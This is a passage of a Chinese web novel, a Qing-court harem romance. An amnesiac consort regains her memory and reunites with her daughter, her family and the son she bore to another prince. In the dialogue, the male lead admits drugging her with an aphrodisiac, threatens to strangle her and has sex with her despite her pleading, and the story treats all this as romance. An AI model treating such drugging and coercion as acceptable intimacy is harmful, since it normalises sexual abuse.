曦宁忍不住看向阿玛,额娘这会怎么又认她这个女儿了,之前额娘都说她不是她女儿,难不成额娘的脑子变好了?
她的生辰的确是八月三十日,曦宁有些贪恋这个怀抱,额娘之前从未这样抱过她,她最多是摸摸她的头,额娘的怀抱很温暖。
“你额娘已经想起以前的事。”
“额娘是脑子变好了吗?”
“嗯。”胤禛也没想到乌锦磕到头后会想起以前的事,恢复记忆,他以为她这辈子都想不起来了。
曦宁心里高兴,她很喜欢额娘,嫡额娘她们虽然对她也不错,但毕竟不是她的亲额娘,她跟嫡额娘她们始终隔着一层,比如说嫡额娘最爱的人肯定是弘晖,而李额娘最爱的是弘时跟曦玉姐姐,她不是她们最爱的人,因为她不是她们生出来的。
额娘脑子变好了,肯定也会跟嫡额娘对弘晖一样很爱她,最爱的人是她。
“额娘,我是你的女儿,那弘春是你的孩子吗?”
一句话让在场的两位大人脸色都一变,乌锦略显心虚地瞥了一眼四阿哥,她很清楚弘春是谁的孩子,她等于是给四阿哥戴了一顶绿帽子,虽然当时的她什么都不记得了,不是出于她本人的意愿,但弘春是她的孩子,跟曦宁一样是她亲生的。
胤禛说道:“曦宁,你额娘刚醒,她肚子肯定饿了,先让人摆膳,我们先吃饭。”
曦宁也觉得肚子饿了,很快被转移注意力。
等膳食摆上来,他们三人坐在一块用膳,曦宁心心念念的桂花糕也被膳房的人做了呈上来。
乌锦刚醒,她不仅想起以前的事,这七年的事,她也记得一清二楚,她知道此时的四阿哥只是表面上平静,她自己心里也是乱糟糟的,其实她没什么胃口,吃得不多。
临近傍晚,外面天色也渐渐黑下来。
一吃完,四阿哥就让曦宁回她自己那院,曦宁一走就只剩下他们两个人,乌锦心虚得很,忍不住将君梅她们唤进来,让她们备水给她沐浴。
她磨磨蹭蹭,洗澡洗了很久,等她出来时,四阿哥又坐在床边盯着她,目光如炬,她心想她这会装傻充愣能不能糊弄过去。
“过来。”
乌锦跟个乌龟一样挪过去,离他两步远时就站定,挤出笑容:“爷,你要不也去洗一洗。”
“不用了,我干净得很。”
七年了,乌锦跟四阿哥隔了七年,她心里是有点别扭,也有点陌生,她记得四阿哥给她下春.药的事,她先声夺人,假装板起脸质问道:“主子爷,你是不是前不久给我下药来着?”
“是又怎么样,我不能碰你吗?是不是只有十四才能碰你?”
这话也不是这么说的,他给她下药,趁着她意识模糊时对她做那些事,他怎么还一副理直气壮的样子,乌锦刚想说什么时对上他凌厉的眼神,识时务者为俊杰,她不能再惹他生气,他此时应该就是一个随时会爆炸的气罐子。
“主子爷,我是真的什么都不记得了,我摔到脑袋了,当时我跟主子爷分开后,我被那些刺客追杀,差点死在他们的剑下,我是滚下山崖才捡回来一条命。”
“山崖?”
乌锦点头如捣蒜:“是很高的山崖,我拼命地往前跑,还是被那些刺客追上,我掉下去后就什么都不记得了。”
胤禛对她掉下山崖的事是相信的,也怪不得他们那么多人找她找不到,当时的他们没想到她会在山崖底下。
“真是什么都不记得了吗?那你是如何遇到十四的?是十四救的你?”
“是他救的我,他救我的时候,我已经什么都不记得了。”
“所以是十四趁虚而入,我竟不知道我的侧福晋这么会勾人,连十四都喜欢你。”
这绝对是阴阳怪气,不过十四阿哥趁虚而入没说错,她当时什么都不记得了,十四阿哥救了她,没让她回去四阿哥身边就算了,还把她困在他身边,才酿成今日这种解不开的混乱局面,乌锦尴尬地笑两声,不知要怎么接话。
“你脸上的疤呢?你脸上的疤怎么没了?我不信有什么神医可以治好伤疤,你可别跟我说你脸上的疤是后来治好的。”
“主子爷,我脸上其实没有疤,那是假的。”
“为何要造假?”
那还不是她这张脸太出色了,红颜祸水,一个普通人家的女儿长得太好看不是好事,加上那会她没有要嫁人的心思,想着脸上多一块疤对她而言不是坏事,小时候她的脸的确受伤了,不过被何神医治好了,她央求何神医,何神医给她弄来一块假伤疤,那块伤疤一直贴在她脸上,只有不停地热搓,十分用力才能揭下来,普通的热水洗脸是揭不下来的,十分牢固,她就这样粘着这块疤过了二十年,直到被十四阿哥发现,她跟四阿哥说了原委。
“那你为何不告诉我?”
“我遇到主子爷的时候,脸上就有疤,我肯定不敢告诉主子爷我脸上的疤是假的,我怕主子爷生气,况且我知道主子爷喜欢我是喜欢我的内在,而不是我的容貌。”乌锦讨好道。
胤禛见到熟悉的乌锦回来,心里五味杂陈,他盯着她,问出他最想知道答案的问题:“弘春是谁的孩子?”
“弘春是我的孩子。”
“是我的还是十四的?”
“弘春是我一个人的孩子。”乌锦哪敢说实话,怕说实话,胤禛一动怒对弘春下手怎么办,她死也不能承认弘春是十四的孩子。
胤禛眉头紧紧拧在一起,这个女人向来能言善辩,机灵狡猾得很,她在防他,是怕他对伤害弘春吗?
他的眼神快要把她看穿,犹如两把利刃,乌锦莫名不敢跟他对视。
“乌锦,弘春是我的孩子还是十四的孩子?你别以为我查不出来。”
他已经很早就开始让人去查了,他迟早会知道弘春是谁的孩子,胤禛怒道。
“弘春跟曦宁一样都是我的孩子,我不苛求主子爷能把弘春当成自己的孩子,但你不能伤害他,况且他是十四阿哥名下的孩子,跟主子爷没有关系。”
若是他的孩子,怎会跟他没关系,胤禛气得要死,他知道十四肯定碰过她了,七年,他们不可能什么都没有发生,他一定会查个水落石出,他的孩子,他不可能让十四养。
“你站那么远干什么?”
乌锦是不敢靠近他,他以前可是打过人的。
“主子爷,我觉得要不你今晚先去别的地方歇息。”
“乌锦,你再胆敢说一句,我就掐死你!”
乌锦只能噤声,挪
了过去,当她被扯住手腕压倒在床上时,她心想她以为这人不会再碰她,嫌她不洁呢。
“在想什么?”
“没想什么。”
“你要是敢想着十四,你就死定了。”
她哪里敢想呀,只是他在她恢复记忆第一晚就想跟她做这些事,他这是原没原谅她,她以后还能跟以前那样过舒服日子嘛,她想有弘春跟十四阿哥在,她往后的日子可能不会太舒服。
“主子爷,我想的是你。”
“十四都碰过你哪里?”
这简直是在给她挖坑,乌锦又不傻,她难不成要说哪里都碰过了,她不是失忆半个月,而是失忆七年,等于她跟十四阿哥当了七年夫妻,该做的不该做的都做过了,这其实也不能怪她,阴差阳错加上一个有居心的十四阿哥。
她仰仰脖子主动堵住他的嘴,省得他又问出什么她答不上来的问题,缠绵的热吻结束后,她才在他耳边说她是他的侧福晋。
“原来你还知道你是我亲封的侧福晋,我怕你当十四的侍妾当久了,都忘了你是我的侧福晋。”
“我不敢忘,就怕主子爷忘了,这七年,不知道主子爷身边多了多少新人,那些新进府的格格侍妾又年轻又好看,主子爷还会记得一个人老珠黄的侧福晋吗?我看那个年格格就长得很好看,听说年格格这几年很得宠,我今日受伤还是因为她呢,要不是她绊我,我也不会摔倒磕到头。”
“她绊的你?”
“嗯,我现在觉得额头还疼呢,主子爷得为我做主。”
“要是她绊你,你也不会想起以前的事,我其实还得奖赏她。”
乌锦气得掐了掐他的腰。
胤禛笑了笑,如此鲜活娇俏的乌锦,他以前只在梦里见到,没想到有生之年他还能再见到,摸到温热真实的人,当年找不到乌锦时,他只觉得绝望。
他不怪乌锦,当时她受伤又失忆,这一切都只是十四的错,不是她的错,是十四阴险狡诈,处心积虑,包藏祸心,两面三刀,真该死的人是十四,他不会生她的气,失而复得,他不会把她推远,也不会伤害她,他珍惜跟她相处的日子,珍惜这般鲜活灵动的她,他不会把她让给十四,她生是他的人,死也要跟他葬在一块,而不是跟十四葬在一块。
他攫住她红唇,手扣住她的腰。
到后面,她怎么求饶,他也没有停下来,一直折腾到后半夜。
翌日,乌锦醒得很晚,醒来后发现四阿哥已经不在了,她再看自己身上那些青青紫紫,轻皱眉头。
“主子,你醒了。”
乌锦看向君梅,君梅她们进府伺候她时都是十六七岁的小姑娘,如今已是妇人打扮,人更加成熟稳重了。
“君梅,有没有药膏,拿药膏给我擦擦吧。”
君梅多看自家主子几眼,觉得主子又好像不一样了,她示意听春去拿药膏,等主子擦完药后,她才伺候主子穿衣。
“君梅,曦宁这七年是由谁照顾?”
君梅诧异地看向自家主子,之前主子不会问这些的,主子都不认为曦宁格格是她女儿,她犹豫问道:“主子,你是不是想起什么了?”
“我已经什么都想起来了。”
君梅大喜:“主子,这是真的吗?你真的想起来了?你记得我们吗?”
“当然记得,你们在我进府当格格的时候就伺候我了,小才子呢,把小才子也叫进来吧。”
君梅激动到落泪:“好好好,我这就把小才子叫进来,小才子不知道有多念着主子。”
原本伺候她的君梅、听春、翠香三人都嫁人了,嫁人后就出府了,只有小才子还在府里当差,在她“死”后,小才子跟在曦宁身边伺候,而曦宁没了“额娘”后,基本上是由奶娘跟奴才伺候长大,还有宋格格跟耿格格她们没有孩子,也会帮着照顾曦宁,将曦宁视作她们的女儿。
乌锦问曦宁这几年在府里过得好不好时,小才子肯定地点头。
“主子爷很宠小格格,小格格要什么有什么,有不尽心伺候的奴才都被主子爷打死了,没人敢对小格格不好,小格格这几年跟曦玉格格走得近,两姐妹玩得也好,福晋跟李侧福晋也待格格不错,只是她们毕竟不是小格格的亲额娘,亲疏有别,小格格一直都知道自己的额娘是主子,一直记着主子呢。”
“小才子,这几年,你嘴上功夫见涨啊。”
小才子不好意思地挠挠头。
乌锦听完后也松口气,知道曦宁没受苦就好,她又问了问府里的新人,知道年氏是近几年最得宠的人,其他人都比不过年氏得宠,格格钮祜禄氏三年前生了弘历阿哥,这七年,府里只新增了一位小阿哥。
刚了解得差不多,曦宁就过来了,乌锦很慈爱地看着曦宁:“天冷了,你怎么穿这么少?”
乌锦摸了摸曦宁身上的外衣,觉得有些单薄。
“额娘,我不冷。”
“真的不冷?”
曦宁说她真的不冷。
乌锦也就没再就着这个问题说下去,她错过女儿七年的成长,一时不知道要怎么弥补她,始终有所愧疚。
“额娘,你用膳了吗?”
“额娘刚醒,正想让人去叫你陪额娘一块用膳。”
曦宁为难:“可是额娘,我已经吃过了,我现在一点都不饿。”
“没事,你看着额娘吃也行,跟额娘说说你这阵子都做了什么,我听说你跟你曦玉姐姐关系很好,是这样的吗?”
曦宁点头,说她常常跟曦玉一块去学堂,一块去逛街。
乌锦没想到多年后两姐妹关系会如此要好,当初曦玉欺负曦宁好几次还历历在目呢,毕竟是亲姐妹,小时候也没有深仇大恨,长大后能处好关系是好事。
“不过曦玉姐姐可能很快就要嫁人了。”
“是吗?她要嫁给谁?”
曦宁摇摇头说她还不知道,可能得问阿玛跟嫡额娘才知道。
曦玉比曦宁大六岁,如今应该也有十九岁了,的确是出嫁的年纪,乌锦问这几年谁对她最好。
“当然是阿玛,还有宋额娘跟耿额娘她们也对我很好,额娘,有阿玛护着,这府里没人敢欺负我。”
曦宁骄傲地挺了挺胸膛,只要有人欺负她,她就告诉阿玛,阿玛会惩处那些欺负她的人,阿玛是对她最好的人,她想要银子可以跟阿玛要,要多少阿玛都会给她。
“那就好。”
“额娘,你昨天还没回答我呢,弘春是不是额娘的孩子?”
乌锦知道曦宁不是四五岁的小孩,她已经十三岁了,她没有瞒她,说弘春的确是她的孩子。
“那弘春也是我的弟弟,跟弘时他们一样都是我的弟弟。”
“是,他也是你弟弟,亲弟弟,你们是姐弟,在你阿玛看不到的时候,你对弘春好一点,你心里知道弘春是你弟弟就行,不用跟别人说,也不要当着你阿玛的面说。”
曦宁也隐隐明白什么,她跟弘晖他们是同父异母
,而她跟弘春是同母异父,她跟弘春都是额娘生的,但弘春是额娘跟十四叔生的,所以阿玛才会不喜欢弘春,额娘也不让她在阿玛面前提起弘春。
“那额娘,你不能出府,我可以出府,你需要我给弘春弟弟带话吗?”
乌锦看着乖巧懂事的女儿,摇摇头,她不需要女儿冒险给她传话,胤禛也不能囚着她,不让她出府。
“额娘,你还头疼吗?额头上的伤好些了吗?”
乌锦揽着女儿的肩膀,曦宁已经长高到她的肩膀,“不疼了,只是破皮小伤,曦宁不用担心,上次额娘没能陪你好好逛街,等什么时候有空,我跟你出府逛街。”
曦宁犹豫,想到上次的事情,她觉得额娘还是不要出府为好,只是她不敢这么说,她只说要阿玛同意才行。
“你阿玛也不能拦着额娘出府,额娘想去哪就去哪。”
她又不是他的禁脔,只能被他困在后院里,哪也不能去,她有自己的人身自由,他若是不让她出去,她肯定跟他闹。
“好啦,额娘饿了,得先吃饭,吃完饭后你跟额娘去你宋额娘那里,额娘想跟你宋额娘说说话。”
曦宁乖乖点头。
等乌锦吃饱后,她带着曦宁过去宋格格她们住的清风苑,宋格格她们在她没恢复记忆前来看过她几次,不过见她都不认识她们,不记得她们,跟她也没有说太多话。
丫鬟领她们进房间后,乌锦看着宋格格喊了一声宋姐姐。
“乌妹妹怎么过来了?我听说你昨晚磕到头了,怎么不好好躺着。”
“宋姐姐,是我。”
宋格格不明所以,曦宁在一旁说她额娘想起以前的事了,宋格格才睁大眼睛,“这是真的吗?妹妹真的想起来了?”
乌锦笑着点头:“昨天磕到脑袋了,一下子就什么都想起来了。”
宋格格情绪激动,红了眼眶:“妹妹,我真没想到你还能活着,当初知道妹妹的死讯后,我难过许久,还好还好,妹妹没事,只是这时间过得太快,一下子七年,不对八年过去了。”
乌锦之前跟宋格格与耿格格关系颇好,见到宋格格这么动容的样子,她心里酸涩,八年的确太久又太快了。
她坐下来跟宋格格聊了许久,也感谢宋格格这八年对曦宁的照顾,从宋格格那出来后,她又带着曦宁过去耿格格那里。
没想到八年过去,耿格格没能如愿有一个属于自己的孩子。
“姐姐,你不知道曦宁给我带来多少欢乐,我年纪上涨,已经不可能有自己的孩子,这么多年,我看着曦宁长大,曦宁就跟我的亲生女儿似的,有她在,我觉得这日子过得很快,也不会无聊,当年你没能跟着主子爷回来,曦宁没见到你,一直哭着要找额娘,我们看着都心疼。”
曦宁否认说她没有哭鼻子。
“你都不记得了,那个时候我们哄都不行,你只要额娘,过了快一个月才把你安抚好。”
曦宁不好意思地吐了吐舌头,她都不大记得小时候的事了。
“姐姐回来就行,人只要活着,比什么都重要。”
乌锦又跟耿格格聊了一个多时辰才离开。
第106章第106章新文《康熙家的德妃又作又……
傍晚,乌锦本想让女儿曦宁留下来跟她一块睡,见到四阿哥过来就打消这个念头,只是三个人坐在一块用膳,吃过后,曦宁就回去了。
乌锦额头上的伤还没好,洗澡时颇为小心,在她用毛巾绞干头发时,他才过去净室沐浴,等他出来时,他眼神灼灼地盯着她。
乌锦想起昨晚,这人发疯折腾她,她故意放缓动作,也不让君梅她们帮她,她一个人慢慢地擦拭着湿发,没理在一旁等她的人。
烛台上的烛泪滴落,火焰烧着棉线有簌簌的轻微声响,屋内安静,乌锦最后还是受不了,回瞪他一眼:“你盯着我干什么?”
乌锦知道这个人的性子,他表现得越平静,越不计较,心里指不定怎么想,她反倒希望他跟她大吵大闹。
“我不能看你吗?”
“我明日要回家一趟,我……阿玛跟额娘还健在吧?”乌锦怕八年过去,她阿玛跟额娘已经不在了,子欲养而亲不待。
“他们还好好的,但你不能出府。”
乌锦放下毛巾,继续瞪他:“你这是想把我关起来?”
“除非你答应我你这辈子都不会去见十四,不然我不会让你出府的。”
“胤禛,你这是想囚禁我?我见什么人,去哪里都要经过你的同意吗?”
胤禛不言,默认是这个意思。
她连自由都没有,兜兜转转,他又开始威胁强迫她,乌锦冷脸:“胤禛,我只是你的附庸,你只想控制我,一直以来都是如此。”
“我只是不想让你见十四。”
“我不会主动见他,但弘春也是我的孩子,你不能拦着我不让我见弘春。”
胤禛就知道有弘春这个孩子存在,她跟十四就会永远藕断丝连,弘春是他们的孽种,乌锦又不是绵软退让的性子,他把她逼狠了,只会将她越推越远,让她恨他。
“胤禛,我跟十四阿哥是一场错误,我是你的侧福晋,我不会跟他再有什么,以前是我失忆了,我跟他发生的所有事都不是出于我本意,我知道我是你的人,但你不能限制我的人身自由,别把我当成你的金丝雀,只能待在鸟笼中,这样的人生对我而言太痛苦了。”
胤禛抬眸看她,他知道她一向对荣华富贵不在意,她要的从来都不是锦衣玉食的生活,她要的一直都是自由自在、无拘无束,自己能做主的生活,她从来都不是奴才,也不会把自己当成奴才,她不想对着别人卑躬屈膝,她脸上的痛苦跟挣扎不是假的。
“你可以出府,但你不能背着我去见十四。”
“我不会背着你主动去见十四阿哥。”
但乌锦不敢保证她跟十四阿哥不会见到,她只能保证自己不会主动去见十四阿哥,毕竟她跟十四阿哥中间还有一个弘春,完全隔绝可能没法做到,尤其是十四阿哥也不是俯首听命的性子,她不见他,但他一定会想方设法见她。
“过来。”
“我头发还没干呢。”
乌锦见他冷脸,心想还是不要忤逆他好了,他都答应她,她可以出府了,她也不能太得寸进尺,头发也差不多干了,她过去主动抱住他,昂着头亲了亲他下巴。
之后她就抱起来,人往里面走去。
乌锦又被折腾了一夜,她心想他都一把年纪了,怎么还这么有精力,到后面,她都不知道自己几时入睡的,醒来时又不见他的人影,一问才知道他去户部衙门那边了,这么多年,他还是管着户部的差事。
曦宁一早过来,她到这个年纪已经不像小时候需要去学堂,基本上空闲得很,乌锦跟她说今日要回乌家一趟。
“好啊,我也很久没见到小舅他们了。”
乌锦不知道四阿哥有没有把她还活着的消息告知她阿玛跟额娘,希望他们见到她时不会太过惊讶。
她带着曦宁顺利出府,回乌家的路上,她心中难免紧张,马车来到石桥胡同前,她被牵着下了马车。
她阿玛额娘还住在这,应该是没搬家。
“这是……”
乌锦见到三婶乌佳氏出来,见到她们一群人,眼神疑惑,最后笑道:“曦宁格格,你回来了,给格格请安。”
三婶给曦宁福福身。
曦宁先是看了看自己额娘,然后让三婶平身。
既然三婶没认出她,乌锦也没有特意跟三婶打招呼,死而复活这种事还是比较令人惊讶的,等君梅上去敲门,里面的人开门,也是第一眼见到曦宁。
“曦宁格格,你怎么来了?”
乌锦看着面前年轻的女孩,对方只有二十岁左右,十分面生,她从未见过,直到曦宁喊了一声小舅妈,她才意识到这个女孩应该是乌明的媳妇。
乌明如今也有二十来岁了,是
到了娶妻的年纪。
“格格快进来。”
对方侧身请她们进去,朝着里面喊说曦宁格格来了,乌锦一进到院子,里面的人也正好出来,小娘先出来的,本来先见到曦宁,眼睛又突然转到她身上,一下子睁大,惊得合不拢嘴。
“桃子,是你吗?”
“小娘,是我。”
乌锦一开口就微微哽咽了。
小娘更是直接落泪,连忙把她额娘跟阿玛唤出来,他们都不敢相信是她,过来对她又摸又抱,泣不成声。
曦宁在一旁第一回觉得被冷落,不过她没有不高兴,只跟一旁同样被冷落的小舅妈互相对看。
过了好一会儿,一家子情绪才稍微平复。
乌锦只跟家里人说她当时遇刺受伤摔下山崖,摔到脑袋后什么都不记得了,被好人救了,是前阵子才想起来所有事,这才回到京城,她脸上的疤也是被神医治好的。
她阿玛他们深信不疑,还处在女儿活过来的惊喜中,小娘为她介绍乌明的妻子,她的弟媳妇巴鲁特氏,乌明三年前成婚,弟媳妇一年前生了一个闺女。
托四阿哥的福,乌明已经是一三等侍卫,在皇宫里的奏事处当差,而乌安从三等侍卫升为护军佐领,之后又被升为副都统,被外放到福州驻守,乌安的妻妾孩子随行,而她阿玛年纪大了,已经不当差了,倒是她小舅还在当差。
八年过去,她们一家人因为四阿哥的庇佑,乌安跟乌明两人官途顺通,阿玛额娘他们都说四阿哥待他们很好,这八年来对乌家多有照应。
乌锦跟曦宁直到傍晚才从乌家回府,她揽着曦宁的肩膀,让曦宁靠在她身上,连三婶都能认出曦宁,说明曦宁平日里回乌家的次数不少,四阿哥没有拦着曦宁不让她回去,在这一点上,她是感激四阿哥的。
她们是吃过晚膳才回来的,她回到桃园后见到苏培盛已经在院子里,她就知道他又过来了,她问苏培盛主子爷吃过了没有,苏培盛摇摇头。
乌锦一进去,见到某人正冷着脸坐在铺炕上,手里那本书迟迟没有翻动的迹象。
“小才子,你快去提膳吧。”
“嗻。”
乌锦洗洗手后脱去外面的披风,抽走他手里的书,直接坐在他腿上:“谢谢主子爷这些年为乌家做的一切,替我这个不孝女尽孝。”
“哭过了?”
“没有。”
胤禛见她眼睛都有些红肿了,哪里像是没哭过的样子,不知道哭了多久才会这样,他抹了抹她眼角,说道:“你知道我等了你多久?我看你是不想回来。”
“我这不是回来了嘛,我跟我阿玛他们说了好久的话,一时忘记时辰,我已经吃过了,不过我可以在一旁看着主子爷吃。”
胤禛摸了摸她的脸,忍不住低头亲她,他好像怎么都亲不够,她三两句话就让他气消了,他怎么就那么好哄,这女人给他下蛊了。
“你不是饿了吗?先用膳吧。”
乌锦推了推他,让他先用膳,她在一旁看着他吃。
夜里,当他想来第二次时,她拒绝道:“我想睡了,我好累。”
“我都没说累,你说什么累,动的最多的人难道不是我吗?”
乌锦没理他,二十几岁跟三十几岁是有差别的,年纪上去了,体力当然不行,连着两天折腾,她已经很累了。
“睡吧。”
“谢谢爷。”乌锦说了一句后就闭眼睡觉。
胤禛看着她入睡后才闭眼。
翌日,难得乌锦醒的时候,他人还在,一问才知道他今日休沐,曦宁过来时见到她阿玛也在,缠着她阿玛陪她下棋。
乌锦今日不打算出府,在他们下棋时在一旁看书。
“曦宁也该说亲了。”
耳边突然响起这句话,乌锦抬头看他,心想曦宁才多大,在她眼里就是小孩子,说亲太早了。
“她才十三岁,没必要着急,好歹等到十八岁以后再说,我还想让她多陪陪我。”
曦玉不是今年才开始说亲,曦玉比曦宁大五岁呢,两人怎么会在同一年说亲,这说亲一事没必要着急。
“阿玛,额娘说得对,我还想多陪陪阿玛跟额娘,我不想嫁人。”
“你懂什么。”胤禛点了点女儿的小脑袋。
“你都觉得她还什么都不懂,更不应该现在就说亲,她就是年纪还小,还什么都不懂,主子爷,这事不着急。”
胤禛其实不是想让女儿赶紧嫁出去,而是觉得趁着他还有能力掌控女儿的婚事时替曦宁找好夫家,省得她外嫁抚蒙。
皇阿玛年迈,身子日渐变差,二哥已经不可能即位,皇阿玛属意谁来即位,他们都无从窥探,皇阿玛在这事上很是谨慎。
胤禛不知道自己最后能不能坐上那个位置,若是别人,曦宁的亲事可能就由不得他们自己做主了。
乌锦其实也想的是等四阿哥即位后再来决定曦宁的亲事,反正也没有几年了,如今都是康熙五十二年,到康熙六十一年,曦宁其实也才二十二岁,其实还等得了。
她前日跟宋格格聊天时就有听说大阿哥的女儿是远嫁抚蒙,这些格格的亲事最后都是要皇上点头,万一皇上想让曦宁抚蒙怎么办,她想让曦宁留在京城,外嫁抚蒙的格格大多结局好像不怎么好,早逝的格格不少,毕竟是背井离乡,真发生什么事,他们都鞭长莫及。
“阿玛,该你下了。”
胤禛最后还是没说什么,继续跟女儿下棋,不一会儿,曦宁就气鼓鼓地认输了。
“你的棋技跟你额娘比起来差不少。”
乌锦的棋技比女儿好多了,女儿还是心眼少,性子单纯,不谙世事一些。
“哪有,额娘跟我下棋的时候是输给我的。”
“那是你额娘让你。”
曦宁不服,让她额娘陪她下一盘,让她阿玛在一旁看着。
乌锦只好陪她,的确是让着女儿,故意输给她,见到女儿高兴地蹦起来,得意跟她阿玛挑眉,她嘴角跟着上扬。
君梅在一旁看着主子他们其乐融融的画面,在角落里偷偷抹泪。
……
又过三日,乌锦跟曦宁出府逛街,还是去首饰铺,乌锦正在看那些首饰时,有一个小孩,突然窜过去抱住她的腿,她垂眸一看发现是弘春。
“额娘……”
弘春稚嫩的嗓音响起,乌锦感觉自己好久没有见到弘春了,她也不能让人直接给十四阿哥那边传信,只能是他们过来找她,她出府的目的也是为了让他们过来找她,她知道自己不能主动找他们。
乌锦半蹲下来紧紧抱住弘春。
“额娘,我终于见到你了,弘春好想你啊。”
“额娘也很想弘春。”
曦宁自从知道弘春也是她弟弟后就没有那么排斥弘春跟她抢额娘,只是她怕阿玛见到,也怕额娘回十四叔那里。
“额娘,你什么时候能回家?”
乌锦抱着弘春,见弘春已经开始落泪,看上去很可怜,她怜惜地擦去弘春的眼泪,哽咽道:“额娘不能回去了,弘春要是想过来见额娘的话,就来雍亲王府,你四伯伯的府邸。”
“不行,他们不让我进去,他们不让我见额娘。”
“不会的,弘春要是过来,他们不会再拦你,额娘已经跟他们说过了,你随时都可以过来看额娘。”
弘春半信半疑:“真的吗?可是阿玛说四伯伯不让我见额娘,四伯伯是坏人。”
“你四伯伯不是坏人,额娘已经跟四伯伯说过了,你随时可以过来找额娘,他们不会再拦你。”
“额娘不能跟我回家吗?”
乌锦不知道要怎么跟弘春说,她可能不会回去十四阿哥的府邸了,她为难道:“弘春,额娘不能跟你回去,额娘现在就住在四伯伯府里。”
“额娘,我很想你。”弘春搂住乌锦的脖子,埋在她肩颈上哭道,乌锦的心都快融化了,安抚地拍着他后背。
她见到十四阿哥也从外面进来首饰铺,只是被她们的护卫拦住,她看了十四阿哥一眼,在心里叹口气,她想怪他的,要不是他把她困在身边,也不会有今日这种混乱又纠结的局面,但这八年里,他又实实在在待她不错。
曦宁见到十四叔进来,她也默默挪到额娘身边,稍稍挡住额娘,就怕额娘被十四叔强行带走。
乌锦看着十四阿哥,冷声道:“十四,我什么都想起来了。”
不远处的人听到这句话脸色一白,既诧异又惊慌,不敢对上她的眼神。
胤禵没想到乌锦会想起以前的事,毕竟乌锦八年都没想起来,怎么在四哥府邸待一阵子就想起来了,她想起来了,肯定知道他的所作所为,他知道自己卑劣,可是他依旧不后悔,对上她清明冷静的目光,他的卑劣无所遁形。
“你……真的什么都想起来了,那你还记得我们的事吗?”
“我什么都想起来了,无论是八年前的事还是这八年里发生的事,十四阿哥,我是胤禛的侧福晋。”
一句话划清界限,将他们的感情一刀斩断,胤禵只觉得心咯噔一下往下坠,坠到无底深渊,她是四阿哥的侧福晋,而不是他的侍妾
,他偷来的八年还是结束了,她还是选择了四哥。
“但我是弘春的额娘,弘春以后可以来府里找我,我也会努力陪伴弘春长大。”
胤禵看向弘春,心想还好有弘春,还好他们之间还有一个孩子,无论她再怎么跟他划清界限都不可能真的划清,弘春是他们两个人的孩子,有她一半的血,也有他一半的血。
“弘春可以去府里找你吗?”
“嗯,他可以。”
“那就好,弘春能见到你就好,他这阵子因为见不到你老是哭,你是他额娘,这一点谁都无法改变,你放心,我也会照顾好弘春。”胤禵努力平静道。
“好啦,弘春别哭了,你先跟你阿玛回去,明日可以到四伯伯府里找额娘,这个是你曦宁姐姐,你以后见到曦宁姐姐就喊姐姐。”
弘春抬头看额娘口中的曦宁姐姐,乖乖地喊了一声姐姐。
“这个给你吧,就当做是见面礼,我之前还没给过你见面礼。”曦宁往弘春手里塞一个银镯子,算是正式认下这个弟弟。
“这是女孩子的东西,我不戴这些。”
“没让你戴,只是送给你,见面礼,你不要的话,我就收回去了。”
弘春又抓着那镯子不放。
“行啦,我跟额娘还要继续看呢,弟弟,你们先走吧。”曦宁知道额娘不能见到十四叔,阿玛知道了,肯定会生气,她可不想见到阿玛跟额娘吵架,于是驱赶道。
胤禵把弘春带走,乌锦什么都想起来了,应该不会跟他们走了,她的意思也很明显,弘春可以去找她,但他不能,她还是弘春的额娘,但她不再是他的侍妾,从前种种已经过去,她对他已经没有喜欢了,她喜欢的人是四哥。
“阿玛,为什么额娘不能跟我们一起回去?”
回到马车上,弘春委屈问道。
“因为额娘得留在四伯伯府里,她得在四伯伯府里住几年,没事,你额娘说了你随时可以过去找额娘,你以后可以过去四伯伯府里找额娘。”
“为什么?”
“这是大人的事,你是小孩子,不用懂这些,反正你只要记住你额娘是最爱你的人,你是你额娘的亲生儿子就行了。”
“那曦宁姐姐呢?她真的是额娘的女儿吗?”
“不是,你额娘只有你一个孩子,其他人都不是你额娘的孩子。”
“那为什么曦宁姐姐也叫额娘为额娘?”
胤禵摸了摸弘春的脑袋,沉声道:“是四伯伯要求的,你四伯伯不是好人,不过你以后跟曦宁姐姐要好好相处,尤其是在你额娘面前,你额娘希望看到你跟别人好好相处,不要打架生事,你越听话,你额娘才会越快回到我们身边。”
弘春似懂非懂地点头。
胤禵不知道乌锦是怎么想起来的,但他知道自己肯定不会就这样放弃,他现在只是争不过四哥,斗不过四哥而已,迟早有一日,他会斗得过四哥,目前先忍一忍。
弘春记得额娘说过的话,他第二天一早就过去四伯伯府里找额娘,如额娘所言,这次真的没有拦他,只是他来到桃园时,额娘还在睡觉。
“姐姐……”
“你怎么这么早就过来了?”曦宁过来时见到弘春,问了一句。
“我来找我额娘。”
曦宁知道额娘一向起得晚,这会额娘肯定还没醒,他们不能把额娘叫醒,于是她跟弘春在外间等额娘起床。
没想到阿玛先从里面出来,曦宁叫了一声阿玛,阿玛目光落在弘春身上,她知道阿玛不喜欢弘春,因为弘春是额娘跟十四叔的孩子,不像她是额娘跟阿玛的孩子,她怕阿玛伤害弘春,她故意道:“阿玛,额娘昨天说了弘春可以过来找额娘,这是额娘应允的。”
弘春见到四伯伯出来,他不喜欢四伯伯,所以狠狠地瞪一眼四伯伯,但他谨记昨天阿玛说过的话,他要在额娘面前当一个乖孩子,不能惹是生非,他也仅仅是瞪一眼。
胤禛看到姐弟两个,尤其是跟乌锦还有曦宁都长得很像的弘春,一大早的心情都不好了,昨晚乌锦跟他说日后弘春可以进府,他没有拒绝,因为他要是拒绝让弘春进府,乌锦便会出府见弘春,一旦出府,她就有可能见到十四,那还不如让弘春进府找她。
一个六岁的小孩子,他要是跟他计较显得自己很没有肚量,他暂且容忍他,等他查清楚他是谁的孩子后,他会让他吃苦头的。
“阿玛,额娘醒了吗?”
胤禛沉声道:“你额娘昨晚睡得太晚,这会还在睡,你们就在外面等吧,别进去吵醒你额娘,阿玛还有事,要出去一趟。”
曦宁挥挥手示意阿玛离开。
阿玛一走,曦宁跟弘春待在一块,彼此沉默,不知该说什么。
第107章第107章新文《康熙家的德妃又作又……
曦宁身为姐姐,总觉得自己该主动说点什么,于是开口问道:“你怎么不去上书房上课?”
弘晖跟弘时在弘春这个年纪几乎每一天都要去上书房,风雨无阻,尤其是弘晖,弘春好像几乎每一天都不去上书房。
“我要见我额娘,姐姐,你怎么不去上学?”
“我比你年纪大,我已经不用去学堂了。”
弘春哦了一声后又不说话了。
曦宁让弘春吃炕桌上的点心,一共两小碟,有桂花糕跟芋头糕,弘春吃了一块后又忍不住吃第二块,曦宁心想不愧是小孩子,就喜欢吃这些点心。
